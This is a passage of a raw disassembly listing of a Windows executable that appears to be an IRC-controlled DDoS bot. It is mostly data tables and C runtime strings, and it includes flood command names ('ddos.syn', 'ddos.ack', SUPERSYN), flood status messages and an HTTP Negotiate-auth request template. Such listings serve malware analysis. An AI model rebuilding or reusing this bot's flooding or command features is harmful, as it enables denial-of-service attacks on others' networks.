; ---------------------------------------------------------------------------


loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------


loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		dd 3A3h	dup(0)
		dd 2580000h, 2580165h, 2590000h, 25905D6h, 25A0000h, 25A0B9Bh
		dd 25B0000h, 25B051Bh, 25B0575h, 25B0B69h, 25C0000h, 25C0792h
		dd 25D0000h, 25D08DEh, 25D0A9Ah
dword_42403C	dd 25D0AAFh		; DATA XREF: ___:0041F496r
		dd 25D0B38h, 25D0E75h, 25E0000h, 25E0180h, 25E02D3h, 25E02EAh
dword_424058	dd 25E08E4h		; DATA XREF: sub_40144A+1A6r
					; sub_401D82+3Dr ...
		dd 25E0925h, 25F0000h
dword_424064	dd 25F0439h		; DATA XREF: sub_40797F+D1r
					; sub_40D3A5+29r
		dd 25F048Fh, 2600000h
dword_424070	dd 2610000h		; DATA XREF: sub_40DC82+Fr
					; sub_4199B9+54r ...
dword_424074	dd 2611183h		; DATA XREF: sub_4168E9+Br
dword_424078	dd 2611A31h		; DATA XREF: ___:00404E30r
					; sub_40AB7C+67r ...
		dd 2620000h, 2620620h
dword_424084	dd 2630000h		; DATA XREF: sub_40AB7C+36r
		dd 2630272h
dword_42408C	dd 2630313h		; DATA XREF: sub_4168E9:loc_41697Ar
		dd 26303A9h, 2640000h, 2650000h, 2660000h
dword_4240A0	dd 2660D4Bh		; DATA XREF: sub_4165C6+32r
		dd 2670000h, 267029Bh, 26703ADh, 2680000h, 2680631h, 2690000h
dword_4240BC	dd 26A0000h		; DATA XREF: sub_408EE5+26r
		dd 26B0000h, 77F7E300h,	77F7E21Fh, 26B0B0Ch, 26C0000h
		dd 26C074Dh
dword_4240D8	dd 26D0000h		; DATA XREF: sub_409037+BCr
dword_4240DC	dd 26D0588h		; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
dword_4240E0	dd 26D0C95h		; DATA XREF: sub_40981F:loc_409D0Fr
		dd 26E0000h
dword_4240E8	dd 26F0000h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar
dword_4240EC	dd 26F09F8h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
		dd 26F0A4Dh
dword_4240F4	dd 26F0C77h		; DATA XREF: sub_409392+56r
		dd 2700000h, 2700537h
dword_424100	dd 2700B59h		; DATA XREF: sub_40981F+2r
		dd 2710000h, 2720000h, 272067Ch, 2720C04h, 2730000h, 2730727h
		dd 2740000h, 274056Fh, 2750000h, 2751040h, 275113Ah, 2760000h
		dd 276046Bh, 27607E9h
dword_42413C	dd 2760C3Fh		; DATA XREF: sub_40B56C+79r
					; sub_416810+3Ar
dword_424140	dd 2770000h		; DATA XREF: sub_40B56C+3Br
					; sub_416717+23r
		dd 2771415h, 2780000h, 77E75CB5h
dword_424150	dd 2790000h		; DATA XREF: sub_40DBB0+13r
					; ___:0041F50Br ...
		dd 27A0000h, 27A0C9Ch, 27A0DD8h
dword_424160	dd 27B0000h		; DATA XREF: ___:loc_40E864r
		dd 27B03C7h
dword_424168	dd 27B0A22h		; DATA XREF: sub_4165C6:loc_4166B2r
		dd 27B0B24h, 27B0BD0h, 27B0CADh, 27C0000h, 27C061Bh, 27C0848h
		dd 27C098Dh, 27D0000h, 27E0000h, 27F0000h, 2800000h, 2810000h
		dd 28119B6h, 28119E3h, 2820000h, 2820CB9h, 2830000h
dword_4241B0	dd 2830643h		; DATA XREF: sub_41ADB4+240r
dword_4241B4	dd 2830702h		; DATA XREF: sub_41B888:loc_41B8B9r
		dd 283090Eh, 2840000h, 284053Eh, 2850000h, 2860000h, 2861185h
		dd 28618EEh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
		dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204	dd 71AB5690h		; DATA XREF: sub_404F9A+6Ar
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_4053D5+E4r
		db 90h
		db 18h,	0ABh, 71h
		dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
		dd 71AB1746h, 2	dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: ___:00404CE7r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_415450+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
		dd 0FFFFFFFFh, 419CBBh,	419CCFh
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BC2Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o
		align 4
asc_424BA8	db 0Ah			; DATA XREF: sub_41F885+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41F885+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do
		align 8
dword_424BE8	dd 0FFFFFFFFh, 41FC5Ch,	41FC60h	; DATA XREF: sub_41FB63+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_42094E+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_42105F+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_42105F+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4219A9:loc_421A9Eo
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4219A9+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4219A9+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4219A9+ADo
		align 4
dword_424C88	dd 0FFFFFFFFh, 4223A1h,	4223A5h, 0FFFFFFFFh, 422410h, 422414h
					; DATA XREF: sub_4221EA+5o
		dd 424DC4h
off_424CA4	dd offset loc_4227D2	; DATA XREF: sub_4227AA+8o
					; sub_4227EE+2Co ...
		dd offset sub_4227C5
		dd offset sub_4229E6
		dd offset dword_424E10
off_424CB4	dd offset sub_42283C	; DATA XREF: sub_4227EE+3Ao
					; sub_422858o ...
		dd offset sub_4227C5
		dd offset loc_422A22
dword_424CC0	dd 0			; DATA XREF: sub_4227EE+16o
					; sub_4228C0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_422863+11o
		dd offset dword_424E5C
off_424CE0	dd offset sub_42294B	; DATA XREF: sub_422967o
					; sub_42298A+37o ...
		dd offset sub_4227C5
		dd offset loc_422A04
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42298A+11o
		dd offset dword_424EA0
off_424D00	dd offset loc_422AE7	; DATA XREF: sub_422AD2o
					; ___:off_43C34Co ...
		dd offset dword_424ED0
off_424D08	dd offset loc_422B03	; DATA XREF: sub_422B1F+8o
					; sub_422B5C+8o ...
		dd offset sub_422BBC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o
		align 8
dword_424D28	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_422BC9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_424D48	dd 0FFFFFFFFh, 422D7Ah,	422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh
					; DATA XREF: sub_422C78+5o
dword_424D60	dd 0FFFFFFFFh, 422FEFh,	422FF3h, 0FFFFFFFFh, 42304Ch, 423050h
					; DATA XREF: sub_422F03+5o
		dd 43C34Ch, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_424D90	dd offset off_43C364	; DATA XREF: ___:00424DA8o
					; ___:00424DF4o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DB0	dd 3 dup(0)		; DATA XREF: ___:00424DD4o
		dd 2, 424DA8h, 3 dup(0)
		dd offset off_43C364
		dd offset dword_424DB0+4
off_424DD8	dd offset off_43C384	; DATA XREF: ___:00424DF0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_424DD8
		dd offset off_424D90
		dd offset dword_424D60+18h
dword_424DFC	dd 3 dup(0)		; DATA XREF: ___:00424E20o
		dd 3, 424DF0h
dword_424E10	dd 3 dup(0)		; DATA XREF: ___:00424CB0o
		dd offset off_43C384
		dd offset dword_424DFC+4
; ---------------------------------------------------------------------------


loc_424E24:				; DATA XREF: ___:00424E3Co
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E24
		dd offset off_424D90
		dd offset dword_424D60+18h
		dd 3 dup(0)
		dd 3, 424E3Ch
dword_424E5C	dd 3 dup(0)		; DATA XREF: ___:00424CDCo
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		add	[esi+ecx*2+42h], cl


loc_424E6F:				; DATA XREF: ___:00424E88o
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset loc_424E6F+1
dword_424E8C	dd 3 dup(0)		; DATA XREF: ___:00424EB0o
		dd 1, 424E88h
dword_424EA0	dd 3 dup(0)		; DATA XREF: ___:00424CFCo
		dd offset off_43C3C8
		dd offset dword_424E8C+4
		dd offset dword_424D60+18h
dword_424EB8	dd 4 dup(0)		; DATA XREF: ___:00424EE0o
		dd 1, 424EB4h
dword_424ED0	dd 3 dup(0)		; DATA XREF: ___:00424D04o
		dd offset off_43C34C
		dd offset dword_424EB8+8
		align 8
dword_424EE8	dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF:	___:loc_4230E7o
		dd 0FFFFFFFFh, 4230D0h,	0
		dd offset sub_4230C8
dword_424F18	dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF:	___:loc_423104o
		dd 0FFFFFFFFh, 4230F4h,	0
		dd offset loc_4230FC
dword_424F48	dd 19930520h, 2, 424F68h, 1, 424F78h, 3	dup(0) ; DATA XREF: ___:loc_423110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 424F90h, 4	dup(0)
		dd offset loc_40477E
		dd 0FFFFFFFFh, 42311Ah
dword_424FA8	dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF:	___:loc_423122o
		dd offset off_43C34C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	422B5Ch, 0
		dd offset off_43C364
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	422908h, 0
		dd offset off_43C384
		align 8
		dd 0FFFFFFFFh, 0
dword_425010	dd 1Ch,	422972h, 3, 424FFCh, 424FE0h, 424FC4h ;	DATA XREF: ___:00425034o
dword_425028	dd 0			; DATA XREF: sub_422863+2Eo
					; sub_4229E6+4Bo
		dd offset sub_422858
		dd 0
		dd offset dword_425010+8
		dd 0FFFFFFFFh, 42312Ch
dword_425040	dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF:	___:loc_423134o
		dd 0FFFFFFFFh, 42313Eh
dword_425064	dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF:	___:loc_423146o
		dd 0FFFFFFFFh, 423150h
dword_425088	dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF:	___:loc_423158o
; ---------------------------------------------------------------------------
		movsb
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		dd 0FFFFFFFFh, 0
dword_4250B8	dd 1Ch,	4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ;	DATA XREF: ___:004250DCo
dword_4250D0	dd 0			; DATA XREF: sub_42298A+2Eo
					; sub_4229E6+2Do
		dd offset sub_422967
		dd 0
		dd offset dword_4250B8+8
		dd 0FFFFFFFFh, 423162h
dword_4250E8	dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF:	___:loc_42316Ao
dword_425104	dd 2, 424FE0h, 424FC4h	; DATA XREF: ___:0042511Co
dword_425110	dd 0			; DATA XREF: sub_4229E6+Fo
		dd offset sub_4227AA
		dd 0
		dd offset dword_425104
		dd 5 dup(1546EC53h), 5 dup(31A0DE8Ch), 5 dup(614CE8B5h)
		dd 7Ah dup(0)
		dd 614CE8B5h, 0
		dd 1546EC53h, 12h dup(0)
		dd 31A0DE8Ch, 319h dup(0)
dword_426000	dd 0			; DATA XREF: ___:00419AD7o
		dd offset sub_4030CC
		dd offset sub_40482C
		dd offset sub_40484E
dword_426010	dd 0			; DATA XREF: ___:00419AD2o
dword_426014	dd 0			; DATA XREF: ___:00419AC8o
		dd offset sub_418682
		dd offset sub_41ECF1
		dd offset sub_41FA42
		dd offset dword_4208B4
dword_426028	dd 0			; DATA XREF: ___:loc_419AC3o
dword_42602C	dd 0			; DATA XREF: sub_419B07+65o
		dd offset sub_41FAE7
dword_426034	dd 0			; DATA XREF: sub_419B07:loc_419B67o
dword_426038	dd 0			; DATA XREF: sub_419B07+76o
		dd offset dword_4208B4+11h
dword_426040	dd 4 dup(0)		; DATA XREF: sub_419B07:loc_419B78o
unk_426050	db    2			; DATA XREF: sub_401000+5Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
